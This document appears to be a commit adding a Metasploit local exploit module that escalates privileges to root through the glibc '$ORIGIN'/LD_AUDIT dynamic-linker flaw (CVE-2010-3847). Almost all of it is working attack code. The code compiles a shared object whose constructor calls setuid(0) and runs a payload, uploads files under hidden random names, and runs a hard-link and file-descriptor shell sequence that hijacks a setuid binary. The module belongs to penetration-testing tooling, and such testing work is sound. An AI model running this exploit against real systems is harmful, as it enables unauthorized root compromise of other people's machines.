Add glibc $ORIGIN Expansion Privilege Escalation exploit

Author: bcoles

modules/exploits/linux/local/glibc_origin_expansion_priv_esc.rb

@@ -0,0 +1,221 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core/exploit/local/linux'
+require 'msf/core/exploit/exe'
+
+class MetasploitModule < Msf::Exploit::Local
+  Rank = ExcellentRanking
+
+  include Msf::Post::File
+  include Msf::Exploit::EXE
+  include Msf::Exploit::FileDropper
+  include Msf::Exploit::Local::Linux
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => "glibc '$ORIGIN' Expansion Privilege Escalation",
+      'Description'    => %q{
+        This module attempts to gain root privileges on Linux systems by abusing
+        a vulnerability in the GNU C Library (glibc) dynamic linker.
+
+        glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not
+        properly restrict use of the LD_AUDIT environment variable when loading
+        setuid executables which allows control over the $ORIGIN library search
+        path resulting in execution of arbitrary shared objects.
+
+        This module opens a file descriptor to the specified suid executable via
+        a hard link, then replaces the hard link with a shared object before
+        instructing the linker to execute the file descriptor, resulting in
+        arbitrary code execution.
+
+        The specified setuid binary must be readable and located on the same
+        file system partition as the specified writable directory.
+
+        This module has been tested successfully on glibc version 2.5 on CentOS
+        5.4 (x86_64), 2.5 on CentOS 5.5 (x86_64) and 2.12 on Fedora 13 (i386).
+
+        RHEL 5 is reportedly affected, but untested. Some versions of ld.so
+        hit a failed assertion in dl_open_worker causing exploitation to fail.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Tavis Ormandy', # Discovery and exploit
+          'Brendan Coles'  # Metasploit
+        ],
+      'DisclosureDate' => 'Oct 18 2010',
+      'Platform'       => 'linux',
+      'Arch'           => [ ARCH_X86, ARCH_X64 ],
+      'SessionTypes'   => [ 'shell', 'meterpreter' ],
+      'Targets'        =>
+        [
+          [ 'Automatic', { } ],
+          [ 'Linux x86', { 'Arch' => ARCH_X86 } ],
+          [ 'Linux x64', { 'Arch' => ARCH_X64 } ]
+        ],
+      'DefaultTarget'  => 0,
+      'References'     =>
+        [
+          [ 'CVE', '2010-3847' ],
+          [ 'BID', '44154' ],
+          [ 'EDB', '15274' ],
+          [ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/257' ],
+          [ 'URL', 'https://www.ubuntu.com/usn/usn-1009-1' ],
+          [ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3847' ],
+          [ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ]
+        ]
+    ))
+    register_options(
+      [
+        OptString.new('SUID_EXECUTABLE', [ true, 'Path to a suid executable', '/bin/ping' ]),
+        OptString.new('WritableDir',     [ true, 'A directory where we can write files', '/tmp' ])
+      ])
+  end
+
+  def base_dir
+    datastore['WritableDir']
+  end
+
+  def suid_exe_path
+    datastore['SUID_EXECUTABLE']
+  end
+
+  def check
+    glibc_banner = cmd_exec 'ldd --version'
+    glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first
+    if glibc_version.eql? ''
+      vprint_error 'Could not determine the GNU C library version'
+      return CheckCode::Safe
+    elsif glibc_version >= Gem::Version.new('2.12.2') ||
+          (glibc_version >= Gem::Version.new('2.11.3') && glibc_version < Gem::Version.new('2.12'))
+      vprint_error "GNU C Library version #{glibc_version} is not vulnerable"
+      return CheckCode::Safe
+    end
+    vprint_good "GNU C Library version #{glibc_version} is vulnerable"
+
+    unless setuid? suid_exe_path
+      vprint_error "#{suid_exe_path} is not setuid"
+      return CheckCode::Detected
+    end
+    vprint_good "#{suid_exe_path} is setuid"
+
+    unless cmd_exec("test -r #{suid_exe_path} && echo true").include? 'true'
+      vprint_error("#{suid_exe_path} is not readable")
+      return CheckCode::Detected
+    end
+    vprint_good "#{suid_exe_path} is readable"
+
+    CheckCode::Appears
+  end
+
+  def upload_and_chmodx(path, data)
+    print_status "Writing '#{path}' (#{data.size} bytes) ..."
+    rm_f path
+    write_file path, data
+    cmd_exec "chmod +x '#{path}'"
+    register_file_for_cleanup path
+  end
+
+  def exploit
+    check_status = check
+
+    if check_status == CheckCode::Appears
+      print_good 'The target appears to be vulnerable'
+    elsif check_status == CheckCode::Detected
+      fail_with Failure::BadConfig, "#{suid_exe_path} is not suid or not readable"
+    else
+      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
+    end
+
+    payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
+    payload_path = "#{base_dir}/#{payload_name}"
+
+    # Set target
+    uname = cmd_exec 'uname -m'
+    vprint_status "System architecture is #{uname}"
+    if target.name.eql? 'Automatic'
+      case uname
+      when 'x86_64'
+        my_target = targets[2]
+      when /x86/, /i\d86/
+        my_target = targets[1]
+      else
+        fail_with Failure::NoTarget, 'Unable to automatically select a target'
+      end
+    else
+      my_target = target
+    end
+    print_status "Using target: #{my_target.name}"
+
+    cpu = nil
+    case my_target['Arch']
+    when ARCH_X86
+      cpu = Metasm::Ia32.new
+    when ARCH_X64
+      cpu = Metasm::X86_64.new
+    else
+      fail_with Failure::NoTarget, 'Target is not compatible'
+    end
+
+    # Compile shared object
+    so_stub = %|
+      extern int setuid(int);
+      extern int setgid(int);
+      extern int system(const char *__s);
+
+      void init(void) __attribute__((constructor));
+
+      void __attribute__((constructor)) init() {
+        setuid(0);
+        setgid(0);
+        system("#{payload_path}");
+      }
+    |
+
+    begin
+      so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib)
+    rescue
+      print_error "Metasm encoding failed: #{$ERROR_INFO}"
+      elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
+      elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}"
+      fail_with Failure::Unknown, 'Metasm encoding failed'
+    end
+
+    # Upload shared object
+    so_name = ".#{rand_text_alphanumeric rand(5..10)}"
+    so_path = "#{base_dir}/#{so_name}"
+    upload_and_chmodx so_path, so
+
+    # Upload exploit
+    link_name = ".#{rand_text_alphanumeric rand(5..10)}"
+    link_path = "#{base_dir}/#{link_name}"
+    fd = rand(10..200)
+    exp = %(
+      rm -rf '#{link_path}'
+      mkdir '#{link_path}'
+      ln #{suid_exe_path} #{link_path}/#{link_name}
+      exec #{fd}< #{link_path}/#{link_name}
+      ls -l /proc/$$/fd/#{fd}
+      rm -rf '#{link_path}'
+      ls -l /proc/$$/fd/#{fd}
+      mv #{so_path} #{link_path}
+      LD_AUDIT="\\$ORIGIN" exec /proc/self/fd/#{fd}
+    )
+
+    exp_name = ".#{rand_text_alphanumeric rand(5..10)}"
+    exp_path = "#{base_dir}/#{exp_name}"
+    upload_and_chmodx exp_path, exp
+    register_file_for_cleanup link_path
+
+    # Upload payload
+    upload_and_chmodx payload_path, generate_payload_exe
+
+    # Launch exploit
+    print_status 'Launching exploit...'
+    output = cmd_exec "#{exp_path}&"
+    output.each_line { |line| vprint_status line.chomp }
+  end
+end